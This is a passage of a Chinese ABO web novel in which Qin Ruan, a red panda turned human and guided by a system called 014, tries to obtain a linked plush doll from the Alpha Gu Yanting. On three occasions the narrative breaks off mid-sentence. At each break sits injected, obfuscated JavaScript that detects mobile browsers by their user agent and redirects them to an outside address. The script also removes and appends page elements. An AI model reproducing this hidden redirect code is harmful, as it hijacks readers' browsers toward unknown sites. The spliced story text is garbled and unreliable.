顾砚庭:“随你。” 覃阮眨下眼,又说:“弓道部负责人联系我,说已经处理了那几个人,昨天谢谢你。” 顾砚庭没搭理他,覃阮的话题濒临枯竭,心里叹气,又开始想念小熊猫之间的交友方式。 做人好难。 他踩踩脚,决定今天就先到这:“那我先走了,学长再见。” 说着转身,走之前又看看小熊猫玩偶。 阳光恰巧落在玩偶上,风吹得刚才枝丫上的飘带胡乱地飞,正对窗边的玩偶在台面边缘轻轻晃动。 覃阮停止脚步,走过去,伸手去扶玩偶,指尖还没碰上,就被一只滚烫的大手握住。 手被推开了,他被那陌生的温度弄得怔忪了好一会儿。 顾砚庭将玩偶捏起来,声音并不友好:“秦一祝的留你我没有意见,你做什么我也不管。” 他冷冷的看着覃阮,捏紧那只玩偶:“不该碰的东西别乱动。” 覃阮感受到掌心一阵难受,他望着顾砚庭,憋着股气点头。 “……” 看着对方走开,站在原地的覃阮捏紧双手,指尖在手心上抠:【我不喜欢这个人。】 014汗颜。 覃阮生气了:【我讨厌他。】 他明明只是想把玩偶扶上去而已。 7. 不能摸尾巴根!! 覃阮小发雷霆的离开了工作室,周二上午八点,又很不爽的准点来到工作室。 他抱着速写板,满脸写着“不开心”。昨晚后半夜睡得很香的他忽然又是被揉耳朵又是被顺尾巴毛,扰他清梦让他一点没睡好,但班还得上,任务得继续。 覃阮有点不懂,顾砚庭这人晚上不睡觉吗?那不睡觉就不睡觉,为什么非得凌晨碰他那只小熊猫? 顶着怨恨情绪,他打开工作室紧闭的大门进去,在一楼岛台接了杯水吃药,又简单收拾了下一楼会客区。 今天工作室没人,覃阮在群里签到,又去大门外将挂牌翻面成‘营业中’,这才回到会客区,蹲在茶台边背靠沙发,抱着速写板练习打形体。 覃阮不会画画。 他不会的东西很多,不止一星半点。 智能手机是有014教他使用才能学这么快,诸如上网挂号、网上选课、查询资料、手机支付,都是014教的他。其实早在原来的世界覃阮就了解过这些东西,但那时候他需要学的东西更多,人类语言就是第一大难题,他无暇瞻前顾后,只能一点点接纳人类的事物。 所幸覃阮学习很快,学一遍就能记住,难一点的会花更多时间,但他肯学就不是问题。 他去网站上寻找基础绘画视频,在沙发前一坐就是半上午,最后捣腾了一颗素描苹果出来,拉远了看,很不像。 “我可能没什么天分。”覃阮盯着那颗苹果,翻一页再来。 014安慰他:【宿主是014遇见过最勤学的人类,你一定可以的。】 覃阮埋着头:“你之前还说我不算人类。” 【之前是之前。】014理不直气也壮,【在014看来,宿主你现在就是一位合格的人类哦。】 覃阮盯着自己那被炭笔灰染成煤黑色的右手,不知道在想什么,忽然问:“合格的人类是怎么样的?” 【嗯……】014想了想,从容不迫地说,【人类不同于其他生物的特点,是他们懂得更多的情感和情绪,爱情友情亲情,喜怒哀乐。人类是感性生物,懂这些就是合格的人类。】 “014知道好多。”覃阮动了动手里的笔,在纸上写着他自己的名字,喃喃问:“我懂那些吗?” 【肯定的啦。】014嗓音轻飘飘很欢乐,【宿主是014认识的最温柔最善良的小熊猫,你觉得那家伙的玩偶很重要所以坚持不偷不拿,这已经说明你很懂啦。】 覃阮:“你除了我,还认识其他小熊猫?” 014:【……没有。】 “……” 覃阮沉默,思忖刚才014说的话,得出结论。 嗯,他大概是懂得人类的感情的。 所以他现在算一个合格的人类。 这时手机收到消息,是李医生,告知覃阮今天实验室有一轮对外征集志愿者的计划,如果他决定好了,就带上家长到医院来。 “我要去医院。”覃阮收拾东西起身,问014:“你什么时候出现?” 【时间权限只有两个小时,为节省时间,你到了医院014再出现。】014对他说。 覃阮在群里发了条签退消息,这才抱着东西离开,从始至终都不知道楼上有人。 顾砚庭几乎一晚上没睡,过载的感官和到夜里就不稳定的信息素病让他的情绪躁郁至凌晨,他躺在沙发上,手里握着被揉得毛发凌乱的玩偶,旁边的移动茶台上放满用空的抑制剂和舒缓剂。 凌晨的时候状态好转,浅眠到清晨,又被窗外的阳光扰醒,给秦一祝发消息后本准备去医院,楼下忽然而来的淡淡气息瞬间抚平了他的神经。 他没认出这种香,猜测是秦一祝又换了熏香,这次的效果比之前那些香好很多,顾砚庭乱七八糟的躁郁情绪渐渐平息,他破天荒的又睡了过去。 再醒来是被电话轰炸,接通后那头秦一祝大松一口气:“天呢你再不接电话我都以为你人没了!!” “快来医院,今天上午实验室有招募志愿者计划,运气好的话,说不定能遇到和你匹配度高的Omega。” 顾砚庭起身,视线在工作室里游走一圈,没感受到那股熏香。 他回了句“知道了”,挂断电话往三楼浴室去。 同一时间覃阮已经到医院,他在李医生的带领下来到信息素实验科室外。两条队伍,Alpha那边来的人比Omega多很多,加上覃阮Omega志愿者也就四位。 李医生给他做信息登记,问:“你的家人呢?” 覃阮眨下眼:“他马上就到。” 不多时,洗手间那边过来个和覃阮长得挺像但一头粉色头发的男生,他噔噔噔走来,握住李医生的手:“医生你好,我就是覃阮的家长。” 医生看看这位的脸,再看看覃阮,微笑:“你们是双胞胎?看着很像。” “是的是的,我是他哥哥。”014和颜悦色,“我们就是双胞胎。” 医生把要签字的表交给他:“在这里签个字,等会儿哥哥陪着进去。” 完成一切,李医生离开后,一人一统找个角落坐下等喊号,覃阮盯着014的脸看:“这就是你的样子?” “不是哦。”014笑嘻嘻的,“014只记得原本的身高和你差不多,样貌已经记不起了,这是随机生成的。” 用覃阮的模样微调,采纳了顾霄的发色,014叉腰说:“和你很像一家人吧?” “嗯。”覃阮点头,“很像。” 覃阮没有兄弟姐妹,亲人只有爸爸妈妈,014生成的模样让他有种很奇特的感觉。 很快Omega科室喊号到他,014跟在他身后,两人一起进了实验室。科室内没有Alpha医生,主医师是也是一位Omega,他接过覃阮手里的报告单和填报表,看完后说:“我们需要抽取一些你的信息素存档,同时会对你的腺体深度检查。” 覃阮听了后背一僵:“要穿刺吗?” “不会,请放心。”医生微笑,“实验室新到了一批仪器,之前的穿刺治疗方式淘汰了,仪器会温和很多。” “那就好……”覃阮心有余悸,跟着医生往里走。 在他前面的医生很贴心的告诉他实验室会将他的信息素用到哪些方面:“我们会检测与你匹配度高的Alpha病人,如果有,那你的信息素会为他们提供治疗。当然,医院不会将你的个人信息泄漏给任何人。除此之外,用你的信息素改良抑制剂,研发阻隔剂都是有可能的,你可以再考虑一下要不要做志愿者。” 覃阮问:“我的病会治好吗?” 医生回头,笑得很温柔:“会的,从你成为志愿者开始,我们会全全负责你的病,直到为你彻底治好为止。” “真的免费?”覃阮双眼亮晶晶,满眼只有对免费二字的渴望。 “当然,其实这是对等的。你免费为实验室提供信息素,实验室免费为你治疗,不会收取任何费用。” “我决定好了。”覃阮点头,“就做志愿者。” 医生笑盈盈的看着眼前这位小漂亮,再瞧一眼旁边一直没说话的小漂亮的哥哥。 开小差的014注意到医生的目光,瞬间正经:“我们一家人都尊重他的想法。” “那就好,两位跟我来吧。”医生带领他们前往实验室内部。 往里走时,覃阮听见熟悉的声音,那声音气运丹田气吞山河,是从Omega科室外面传来的。 “哥们儿你人呢??!” 覃阮没想起来是谁,旁边014挨过来对他说悄悄话:“是秦一祝。” “谁?”覃阮疑惑。 “秦医生。”014无奈,“工作室那两个Alpha,顾砚庭,秦一祝,他们的名字,你得好好记住呀。” 这回覃阮知道了,点头:“这次会记住。” 外面的声音渐渐远离,里头的医生招呼他们进去,覃阮这才收回注意力。 … “公司。”顾砚庭人在办公室,还能冷静处理工作。 电话那头刚才还气势汹汹的人瞬间沉静,无言以对,只能笑一下算了,张嘴连连“哇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702539|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞。” “大忙人,不要命啦?”秦一祝啧了半天,“你再不来那几位Omega志愿者就走了!” 顾砚庭不紧不慢:“实验室不存档?” “……存。”秦一祝顿时泄气,“但你得来,我要检测你的腺体情况。” 顾砚庭:“一小时。” 秦一祝:“半小时。” “两小时。” “四十分钟!”秦一祝,“不讲价!” 顾砚庭“嗯”了声,挂断电话前想起什么,告诉秦一祝:“现在状态没问题,工作室今天用的香有作用。” 说罢挂断电话,留那头的秦一祝怔忪:“熏香?工作室今天点香了?” 他翻出工作群看一眼,发现早上覃阮那小朋友签到签退过,这才了然:“是那小家伙点的啊。” 有用就好,秦医生欣然决定再去研制一些熏香。 半个多小时后,覃阮从检查室里出来,他手里得到杯医生给的热牛奶,坐在科室的休息室里等待结果。 014是个好奇宝宝,一刻闲不下来,在科室里里外外转来转去,覃阮就坐在椅子上,双手捧着热牛奶看014四处转。 这次检查确实不怎么疼,只是结束后腺体涨涨的,还有点痒,其他没什么症状。医生说他在这里待够十分钟,休息室内的散风设备将他身上遗留的信息素散去,就可以出去。 014不知道逛哪去了,覃阮捧着牛奶喝,看时间足够就起身出去,此时结果还没出,他便去寻找014。 科室外传来些声音,覃阮推门出去,一道很好闻的气息扑面而来,把他给香迷糊了。 他眯眯眼睛,下意识微扬起头在空中嗅嗅,嘴里嘀咕:“好香……” 长廊上几道人声顷刻消失,覃阮睁开眼睛看看周围,发现远处的秦医生还有好几个Alpha科室的志愿者在看他,且在覃阮说出“好香”后,几位面色涨红的Alpha竟然开始偷偷嗅自己身上。 “诶哥们儿你有闻到我的信息素吗?” “滚蛋啊谁要闻你那臭得要死的味道!” “操老子就问问!” “别问了,什么味道都没有!不是你们身上的信息素!” 走廊中的确没有Alpha的信息素,Alpha之间互相排斥互相恶心,稍闻到一点就受不了想揍人。秦医生也没觉察出空气中有Alpha信息素,同时也没有Omega的,总不能这小朋友在说医院的消毒水气味吧? 覃阮轻轻耸动鼻尖,他还在寻找那有点像苹果的味道,一转头,看见Alpha科室内出来的顾砚庭,顿时表情凝了起来,后退两步如临大敌。 恰时,顾砚庭的玩偶不慎从身上掉下来,滚几圈,不偏不倚挨在覃阮脚边,一阵‘叮叮当当’的动静后,所有人都静了,全部目光集中在覃阮脚边的玩偶上。 覃阮垂下视线看着玩偶,指尖摩挲,刚预备蹲下,忽然想起昨天发生的事,顿时气性上来,站直往旁边挪两步,偏开头当没看到。 这下那群Alpha又猫头鹰似的齐齐去看掉玩偶的那个高个Alpha,连连啧声摇头。 覃阮的一举一动落在顾砚庭眼里,他倒没觉得覃阮这样做有什么不对,本来也没想对方去捡。 这时长廊对面忽然奔过来个人,粉头发,和覃阮样貌相似。 014早通过覃阮视线知道发生了什么,他飞速赶来,知道自己接下来要干什么嘴角都快压不住。 “哎呀!”014装模作样的捂着嘴巴,指向地上的玩偶,“小阮,不捡一下吗?” 覃阮‘哼’了一声:“不该碰的东西我不碰,不捡。” 顾砚庭:“。” 他好整以暇的看着骄傲昂头的覃阮,反应平平,自己过去将玩偶捡起来,指腹慢慢擦拭玩偶上的灰尘。 覃阮手心痒痒,接着是后背,那力道顺着背脊往下,蔓延到尾椎骨的部位,是本体尾巴根的位置。 他顿时睁圆眼睛,脚往Omega科室里面慢慢挪。 救、救救…… 8. 报复心极重的坏家伙!! 旁边的014心道大事不妙,三步并两往前拉住覃阮就朝科室里面塞,谁知人还没送进去,里面拿着检查报告的医生先出来。 “覃阮,你的——”医生单手插兜,抬头发现长廊上一群人,话锋一转,微笑:“你的体检报告出来,状态稳定,不用担心。” 远处的Alpha们闻言莫名失落。原来这小O是来体检的,不是志愿者啊。 倒是秦一祝反应很快,闷声笑,转身对这群Alpha志愿者说:“好了别杵这里了,结束检查的就散了吧。” 再瞧一眼仍在擦他那小熊猫的顾砚庭,耸肩,双手插兜进去Alpha科室继续工作。 覃阮怔了几秒才反应过来,医生这是在替他保密,他想接住那份报告单,察觉双手异样,才抬起来一点的手又缩回衣袖里藏着,扭头幽怨的看着不远处摆弄玩偶的顾砚庭。 还有完没完啊…… 旁边014左瞧右瞧,赶紧替覃阮接住那份报告,谢过医生后拉上覃阮就走。 覃阮紧跟014,藏在袖子里的两双毛茸爪子不停捏合,爪垫中央掀起层层摩挲过的温热痒意,比在那块亚麻挂布上磨蹭还令人上头,奇怪得很。 逃似得离开了医院,覃阮和014站在马路牙子,被穿梭过的车掀起的风吹得稍显凌乱。 覃阮低头盯着袖口里还在不停捏合的爪,小发脾气:“我要买一块猫抓板。” 旁边014扭过头:“啊?” 覃阮没说原因,他看着有点不听他使唤,像极了很缺东西踩踩抓抓的爪子,闷闷不乐:“我要买。” 014叉腰扶额:“好好好,买买买。” 买猫抓板的事暂定,今天这件事后覃阮更加严肃地意识到要尽快拿到‘核心’,越拖对他来说越不利。 于是第二天,很不乐意见到顾砚庭的覃阮依旧兢兢业业来工作室上班,但这天工作室依旧只有他一个人,呆够时间离开时也不见工作室来人。 第三天第四天依旧如此,覃阮这才意识到,工作日时间顾砚庭他们是真不来这里。 到周四这天下午,他抱着笔记本又去上每周那两节选修课,这回终于见到顾砚庭,但到此时覃阮又不知道用什么理由上前。 覃阮坐在位置上,目光炯炯盯着讲台上的Alpha,后槽牙咬的咯咯响。 这几天夜里他几乎都被揉醒过,每次醒来头顶那双耳朵、双手双脚变成爪垫坐床上发懵,尤其还有那条兴奋得最不听使唤的尾巴。实在烦了,就摸出他的猫抓板在宿舍里挠得咔咔响。 虽然覃阮每天不缺觉睡,白天他有空就会补觉,但谁乐意深夜被吵醒?他怨气十足地盯了顾砚庭两节课,到下课调整好状态,不管三七二十一,找上去再说。 顾砚庭没有半点留堂的意思,一下课就走,偏偏这人腿还长,覃阮硬是追到楼下景观大道才追上。 “顾、顾老师!”覃阮差点嘴瓢,绕上去快步跟在对方旁边走,面部表情尽可能控制在不将愤怒暴露出来,“好巧啊,没想到你也走这条路。” 顾砚庭看他一眼,看着眼熟,没想起名字是什么,收回目光,“不巧,这是唯一离校的路。” 覃阮:“……” 他‘哦’了声,低头思考,旁边人走太快了他跟得累,又实在不想放弃鲜少得来的机会,想到个话题开口就问:“老师你这周末会去工作室吧?” 顾砚庭这才想起来他是谁,但反应仍然很平:“嗯。” “我能请教你一些问题吗?”覃阮又问。 顾砚庭看向他,双眼短促的眯起,那双下垂眼因为这不太明显的表情显出这张脸一些坏劲劲的感觉,看得覃阮莫名想立定。 “你叫什么名字?” “……”覃阮大脑宕机几秒,反应过来,咬牙切齿,“我叫覃阮。” “嗯。”顾砚庭不紧不慢,“覃阮同学,有问题课上为什么不问?” 覃阮一怔,真诚发问:“课下不可以问吗?” “可以。”顾砚庭还是一副淡然模样,“你问。” 覃阮想了想,从兜里拿出那张折叠好几层的速写纸,展开递过去:“这是我画的第十三颗苹果,你觉得怎么样?” 不是选修课上的问题,顾砚庭倒也没在乎,垂眸看一眼,眉心蹙起:“你是美院的?” 覃阮点头:“是啊。” “怎么考上的?” “……” 覃阮捏捏手里的纸,胡编乱造,“一点点运气吧,大概……” 其实他自己也好奇他是怎么考上的,014给出的理由是主脑随机分配,但这可不能讲给顾砚庭听。 顾砚庭看着那张皱巴巴的纸,沉默许久,评价中肯:“风格很独特。” 覃阮眼睛一亮:“真的?” “适合抽象派。” 顾砚庭落下这么一句,正好来到车前,开车门进去,又看了眼杵在外面的覃阮:“别执着苹果,先练排线。” 车扬长而去,覃阮拎着他的‘作品’站原地,低头思索,问014:【我怎么觉得他不是在夸我?】 014汗颜:【别多想,抽象派可厉害啦。】 覃阮拿起他的第十三个苹果看看,嘀咕:“我觉得很好看。” 014:【……是的,很特别。】 能怎么着,自己的宿主自己宠。 覃阮收好‘作品’,往宿舍的方向走,一段之后才想起正事:“刚才忘记提玩偶了。” 主要不知道怎么提,他耷拉着双肩,自己安慰自己,“算了,下次注意,014你记得提醒我一下。” 014:【没问题。】 这周六覃阮抽空去了趟弓道部,将那套还没拆封的弓道服还回去,先前那几个说他坏话的人已经被开除通报了,他这才真切感受到,在这个世界,骚扰Omega是一件很不礼貌且很严肃的事,语言骚扰也不行。 离开弓道部的时候,现任负责人十分热情的和覃阮交换了电话,对他说以后要是有兴趣来可以联系她,他们随时欢迎。 【挺好的,多了解人类社会是一件好事。】014慢悠悠地说。 覃阮漫步在学校里,看着手机里加上的新联系人:“你说得对,但我没那么多时间。” 他刚才见过弓道部里的前辈们射箭,很酷,说不喜欢肯定是假的,但覃阮没有时间参与。 执行任务迫在眉睫,下午覃阮就带上工具前往工作室。今天顾霄也在,他看起来心情不是很好,但在见到覃阮后还是热情地上来贴贴。 覃阮看看他的脸,问:“你怎么了?” 顾霄摇头:“没事。” 然后往沙发上躺,叹气:“家里长家里短,我自己消化一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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覃阮放下那张稿子,踌躇片刻,还是将自己想了一天的事说出口:“抽象派也挺好,你觉得我有往那方面发展的潜力吗?” 这回顾砚庭抬头看他了,表情平静,眼底却染着些复杂,最后埋下视线:“你开心就行。” 怎么感觉这语气怪怪的? 覃阮想了想,左右看看,实在找不到话说,本打算循序渐进,结果没忍住直接问:“今天没看见你那只玩偶。” 顾砚庭:“扔了。” 覃阮眼睛瞬间明亮:“扔哪里了?” “……”低头画稿的Alpha掀起眼皮,“你很高兴?” 覃阮搅动手指:“没有,我就问问。” 其实唇角的弧度完全没压住,眼里的兴奋一眼看得出。 顾砚庭好整以暇的看着他:“不是说不该碰的东西不碰?” “我没说我要碰,”覃阮义正言辞,“而且这话是你先说的。” “嗯,我说的。”顾砚庭从兜里拿出那只玩偶,扔在覃阮面前,“那我收回之前的话,扔这里,这回捡吗?” 覃阮看看身前的玩偶,抬头,对上Alpha那双神态散漫的眼睛,后槽牙咬紧。 这人…… 怎么这么坏!! 9. 不做 覃阮绝不受这个屈辱,他偏开头,把玩偶推过去:“不捡,拿走拿走。” 顾砚庭看着他,将玩偶拿回来,就搁在左手上,起稿仍在继续,空闲的指腹摆弄掌心里的玩偶,一时间,此处只剩下硬铅在纸面上刷刷的动静。 覃阮死盯着顾砚庭手里盘弄的玩偶,垂在身侧的双手止不住的捻动。 盘盘盘!一天天就知道盘你那只玩偶!! 覃阮忍无可忍,磨着牙问:“学长你很喜欢这只玩偶?” 顾砚庭不答反问:“你喜欢?” “我——”覃阮差点再次嘴瓢,紧急刹嘴,镇定几秒,巧妙地问了下:“我要说我喜欢的话,你能给我做一个吗?” 喜欢是真的,上次对顾砚庭说想约个同款小熊猫遭到拒绝后,覃阮这想法倒是越来越盛。虽然不能拿到‘核心’,但能拥有个和自己本体一样的小熊猫玩偶那也很好了。 可顾砚庭还是那无情的两个字:“不做。” 意料之中,覃阮怏怏地“哦”了声,他的手指手心还漫出麻麻的痒,这种感触很像曾经妈妈揉开他的爪垫帮他剪指甲。被温热柔软簇拥捧着,是舒服的,力度刚刚好,但温度比他妈妈的手热很多。 顾砚庭的体温很烫,比覃阮的体温高很多,这种隔着一只通感玩偶感受对方温度的感觉实在有点奇怪,还挺特别。 “这个玩偶很好看。”覃阮盯着玩偶,眼睁睁看见那小家伙被顾砚庭的魔抓揉得毛绒乱炸,看起来可怜极了。而自己的手心小腹以及背脊都被顺毛似得游走了个遍,覃阮深觉有被冒犯但又无可奈何。 这件事细想,其实不能怪顾砚庭,毕竟他什么都不知道。 于是覃阮理所当然的将所有错全部怪给了主脑和系统。 【都怪你们。】覃阮在心里明蛐蛐,【我不喜欢谁给我顺毛,我爸妈都不行!】 014:【冷静,冷静……】 这毛顺得他糟心极了,又是顺又是逆,覃阮牙痒痒,死盯那只在顾砚庭手心里炸毛的玩偶,隐忍着呼吸说:“你、你玩偶炸毛了。” 顾砚庭瞧玩偶一眼,拇指指腹将其脸庞上乱糟糟的毛绒蹭顺,并没有停止在覃阮看来就是一道恶行的盘弄。 “……” 覃阮抿紧唇,通感玩偶传来的感触似有延迟,后几秒,刚才顾砚庭指腹蹭玩偶脸的触觉扫过他的脸,很轻几下。那感觉按过嘴唇的时候,覃阮的防线终于溃不成军,他趿拉着脚,溜似的离开了工作台。 而他离开这一举动,顾砚庭也只不过是掀起眼皮往看了眼,然后收回目光,神态漠然。 覃阮去盥洗室冷静了有十来分钟,确定状态稳定,又气势汹汹出来,去楼下把自己带的工具抱上二楼,大着胆子去顾砚庭对面坐下。 对方起稿,他练排线。 覃阮瞄了几眼对方的左手,玩偶仍躺在掌心,毛绒已经被顺回来,顾砚庭也没再继续盘玩偶。 他松口气,低头看自己的速写板,出神地在画面上拉线条,时间一久,注意力就集中在自己的画上,对方在做什么也不再关注。 工作台这一隅显得宁静祥和,另一边的顾霄秦一祝插科打诨,声音不大,给周日下午安宁的工作室增添了几分鲜活气息。 不多时,楼下传来“叮铃铃”的动静,是工作室大门被推开的声音,那头的秦一祝拍拍身上的尘起身:“客户来了,我下去看看。” “我也去!”顾霄嚷嚷着起身,又朝覃阮这边呼唤,“阮,你吃冰淇淋吗?我下去带一份给你。” 覃阮闻声抬头:“不了,谢谢你。” 一阵“哒哒哒”的动静后,楼上只剩下覃阮和顾砚庭两人,一时间,这片区域安静得仿若落针可闻。覃阮莫名有点紧张,这种紧张大概源自于在陌生的环境里,和一个自己不熟且还有点怕的Alpha待在一起。 人类的情绪还是太复杂了,覃阮心想,要是面前坐着的是和他一样的小熊猫,他肯定不会怕。 他偷瞄一眼顾砚庭的脸,收回目光。 ……想象不到顾砚庭那张冷脸上顶一双小熊猫耳朵的样子。 覃阮脑内天马行空,对面的顾砚庭手里的笔却越捏越紧,扯在纸上的每条线都压出痕迹,最后落笔那条线直接将整张纸从中间划开,发出划拉一声刺响。 硬铅扔在工作台上发出一声脆响,托着玩偶的那只手骤然握紧,顾砚庭的手将玩偶尾巴绞在食指上,略显粗暴的勾弄。 突如其来的强烈刺激惊得覃阮浑身过电似的猛颤,吓得他从齿缝里惊出一声自己听了都觉得陌生的闷哼。 他红着双眼去瞪对面的Alpha,发现顾砚庭已经从高脚椅上起来,那双布满阴霾的眼染上些红,细看是血丝,可刚才分明还没有。 不融他多想,只见顾砚庭抓紧玩偶,脸色冷得好像刚从极寒地里淌了一圈出来,吓得覃阮一动不动。 身上渐渐收到通感玩偶传来的按压感,比曾经几次都要用力,重重的,却又很缓很慢地在他的小腹上揉,隐匿着的尾巴虽没出现,但仍有被勾着绞动的触感。 好、好凶啊…… 这人怎么了? 恍惚间,覃阮又闻到苹果香气息,淡淡一缕,随之逐渐浓郁,然后就不太像苹果味了。 那气息渐重,裹挟着令人着迷上瘾的因子,只冒尖这么一点点,就让覃阮立即抛开喜欢了那么多年的苹果味。 没等他细嗅,对面的顾砚庭揣着玩偶转身,径直朝三楼上去。覃阮看见对方路过储物柜时,从里面拿了一把针管注射剂出来。 那是抑制剂。 覃阮怔住,站起身:“你……” 【止步止步!!!】脑子里的014惊呼,【别过去啊宿主!!易感期的Alpha会吃人的!!!】 覃阮猛地定住脚步:【易感期?】 【你没看见他拿那么多抑制剂?】014紧张极了,【这要不是易感期就怪了!你也别待二楼,去一楼找秦一祝,赶紧撤离!】 014生怕自家宿主被妖魔鬼怪吞吃入腹,在覃阮的脑子里直嚷嚷到他下楼才平静。 可覃阮其实想说,他在离开二楼的时候,刚才那些爆起的气息已经完全消散,几乎是顷刻间,苹果味没了,那比苹果味更好闻的气息也没了,一切归于平静。 或许是那些气息消失的速度过于快速,一楼的三人,一A一O还有位Beta都没有觉察到发生过什么。 覃阮来到会客区,看向秦一祝:“秦医生,学长他好像有点不舒服。” 三人望着他,秦一祝反应过来,起身对茶台对面的红发女生说:“抱歉,稍等片刻,我上去看看。” 人很快消失,顾霄望着楼上,收回目光按按覃阮肩:“你没事吧?” 覃阮疑惑:“我没事。” 不舒服的又不是他,是顾砚庭。 顾霄手指蹭蹭鼻尖,笑一下,“没事就好。” 覃阮和顾霄坐在一起,会客区三个人大眼瞪小眼,对面那位红头发女生看看覃阮:“原来你真认识这里的人,我还以为你上次骗我的。” 顾霄:“嗯?上次?什么什么?” 女生将上次来这的事告诉顾霄,后者一笑:“覃阮是我的朋友啦,没误会就好。” 说着扭头看看旁边发呆的覃阮,伸手在对方眼前晃了下:“覃阮你怎么了?” 覃阮回神,眨下眼:“没什么。” 他在想事,在想刚才那比苹果香更好闻的气息,那应该就是顾砚庭的信息素。 覃阮不知道怎么了,从刚才开始就迷迷糊糊的,身体和大脑里仿若蒙着层雾,全是‘顾砚庭信息素好好玩闻’的雾。 【Alpha的信息素都这样吗?】覃阮问014。 【啊?】014疑惑,【哪样?】 覃阮思忖半晌,说:【形容不上来,反正我现在有点想啃顾砚庭一口。】 014震惊,这是可以在ABO世界里直说的吗?? 【宿主你……】014欲言又止止言又欲,胡编乱造个理由搪塞给他的单纯宿主,【你可能只是把他当成苹果了。】 覃阮眨眼:【是这样吗?】 014脸不红心不跳,扯谎不打草稿:【是这样,相信我。】 014始终认为,他这涉世未深的宿主知道ABO世界的基本性别知识就行,其他不便多说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702541|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尤其涉及性知识内容。他的宿主只是一只单纯的小熊猫,014自认为很有必要为其手动添加青少年模式。 覃阮想啃顾砚庭,可以直接理解为,一只单纯的小O对某只诡计多端的A的信息素着迷,换言之,顾砚庭的信息素对覃阮极具吸引力,间接说明两人匹配度肯定不低! 这事可万万不能让覃阮知道了。 他的宿主只需要完成任务,如果不慎与这个世界的人有了纠葛牵扯,到时候割舍起来会很难,这一点,没谁比作为系统的014更懂。 交朋友自然可行,但不是纯友谊那就使不得了。 不多时,楼上两个Alpha一起下来,听见动静,覃阮回过头去看,发现顾砚庭跟个没事人一样。 人走过来,覃阮没忍住问:“你没事?” 顾砚庭看向他:“我应该有事?” 覃阮沉默一瞬,问:“你不是易感期吗?” “……” “……” “……” “……” 现场四度沉默,除了顾砚庭,另外三人都用奇怪复杂的目光看着覃阮,顾霄轻扯嗓子,压低声:“阮,你对我哥易感期时间挺了解?” 覃阮双眼澄澈:“他刚才不是?” 这会儿除了那位Beta女孩,另外两人都回过味来,顾霄拍拍覃阮的肩:“大慨不是,我哥那是常态。” 秦一祝解释:“是身体方面的问题。” 【难道说这Alpha有病??】014得出结论,【哇啊啊他好可怜,Alpha不能有效控制自己的信息素,这不等于定时炸弹吗?优先丧失择偶权!】 覃阮疑惑:【为什么?】 【你想啊,哪个Omega愿意和状态不稳定的A在一起?】 说黄.暴点,一发病就需要自己的O安抚慰藉,那可不是个轻松活,除非那小O天赋异禀接纳能力极强。 覃阮似懂非懂,思量片刻后问:【那他都这么可怜了,要不就不拿他的玩偶,我们和主脑商量商量送给他,然后各回各家,好吗?】 【……】014,【不行哦。】 【哦……】 覃阮闷声好半晌,不参与几位的聊天,偷摸瞧了顾砚庭好几眼,眼神充盈同情,到第四眼被顾眼庭抓个正着,覃阮慌忙飘开视线。 顾砚庭:“。” 然而不多时,覃阮又悄咪咪去瞧对方,视线小心翼翼转过去,发现对方双手环保神态散漫,根本没挪开目光就看着他入网。 覃阮小小的惊了一跳,这回忍着没躲开视线,眼神无比正直:“你要好好吃饭。” 顾砚挺:? 小熊猫安慰人的方式很简单,生病了要好好养病,要好好吃饭,覃阮觉得这样的话没什么毛病。 “好好吃饭,病能好的。”覃阮望着他。 现场几人愣愣的看着覃阮,顾砚庭眼底平静,眸子里映照着覃阮的身影,片刻后,他撤开视线:“谢谢提醒。” 很没诚意的一句道谢,更像是走个过场,所有人都听得出来,偏偏覃阮当真了,他双眼染上真诚的笑意:“不客气。” 然后再次试探:“那能做个同款玩偶吗?” 顾砚庭:“不做。” 覃阮:“。” 他低低头,蹙眉深思。哪里不对呢,人类之间到底怎么拉近关系?还是说,言语安慰太没诚意? 覃阮重整旗鼓,抬头又问:“你有喜欢的东西吗?” 他这一问倒是把旁边三个人听兴奋了。顾砚庭好整以暇的看着他:“什么意思?” “我想送你。”覃阮那双琥珀色的眼睛清澈透明,说了又试探着问,“真的不能做一个同款玩偶吗?” 顾砚庭缄默不言,他从覃阮的双眼里看出期待,深藏在心底的恶劣因子逐渐冒头,最后还是说:“不做,也别送什么东西给我,没必要。” 那双眼里的期待乍然消失,取而代之的是失落和丧气,身边三个人也都轻轻叹气,可顾砚庭那不为人知的变态心思却稍有片刻的兴奋。 顾砚庭清楚的知道,他很享受覃阮眼里的情绪变化,因为这些变化是因他而起。 10. 还真易感期了 任务比想象中更困难,顾砚庭这个人类的性格和其他人类很不一样。 如果目标对象是顾霄和医生,覃阮都不会这么挫败。顾砚庭的性格冷得能和极地相比,防线更是硬得像铜墙铁壁,覃阮是一点办法都没有。 